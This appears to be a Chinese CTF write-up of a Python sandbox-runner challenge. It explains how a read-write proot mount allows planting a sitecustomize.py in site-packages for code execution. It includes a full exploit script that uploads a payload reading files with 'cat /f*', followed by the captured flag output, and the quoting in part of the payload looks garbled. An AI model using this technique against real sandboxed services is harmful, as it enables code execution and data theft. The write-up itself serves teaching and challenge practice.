



Python 沙箱运行器

1. 上传代码

未选择文件。

保存文件名:

例如: test.py

2. 运行代码

要运行的文件名:

test.py

执行结果 / 终端输出:

等待执行...

进来简单看一下，可以知道是个文件上传点，文件上传后再执行文件中的代码，题目给了源码

server.py为主程序

launcher.py利用proot命令创建一个沙盒环境，隔离性相当docker，用于安全执行代码

但是这里挂载的目录是读写模式，这就导致可以把python标准库文件给覆盖掉

```
cmd = [  
    'proot',  
    '-r', './jail_root',  
    '-b', '/bin',  
    '-b', '/usr',  
    #模拟根目录
```

```

        '-b', '/lib',
        '-b', '/lib64',
        '-b', '/etc/alternatives',
        '-b', '/dev/null',
        '-b', '/dev/zero',
        '-b', '/dev/urandom',
        '-b', f'{script_name}:/app/run.py', #把
        '-w', '/app',
        'python3', 'run.py'
    ]
    subprocess.call(cmd)

```

这题考了一个sitepackages逃逸

每次启动 Python 解释器时，Python 都会尝试去 site-packages 目录下自动导入 sitecustomize 模块（如果存在的话）

我们只需要在site-packages文件目录下用恶意代码写一个sitecustomize.py文件就可以实现rce

那我们怎么知道程序访问的site-packages目录在那呢，用site模块可以得到site.getsitepackages()[0]就是

脚本

```

import requests

URL = "http://5000-5fb185cf-caa5-40fc-9a04-8a5cd22c995d.challenge.ctfplus.cn/"

payload = r"""import site
import os
payloads=''import sys
import os
flag=os.popen('cat /f*').read()
print(flag)
'''

```

```

filename=os.path.join(site.getsitepackages()
[0],'sitecustomize.py')
with open(filename,'w') as f:
    f.write(payloads)
"""
data={
    "filename":"shell.py"
}
file={
    "file":payload
}
response=requests.post(URL+"upload",files=file,data=
data)
print(response.text)
response=[requests.post(URL+"run",json=data) for i
in range(2)]
print(response[1].text)

```

逻辑很简单，先上传写sitecustomize.py文件的py，然后执行两次

第一次是写sitecustomize.py

第二次python解析器自动将sitecustomize模块包含了进来，将我们的恶意代码执行得到flag

成功上传至： /app/uploads/shell.py

{"output":"\nmxctf{699f4568de00f2df35f98005567398d3}\nLa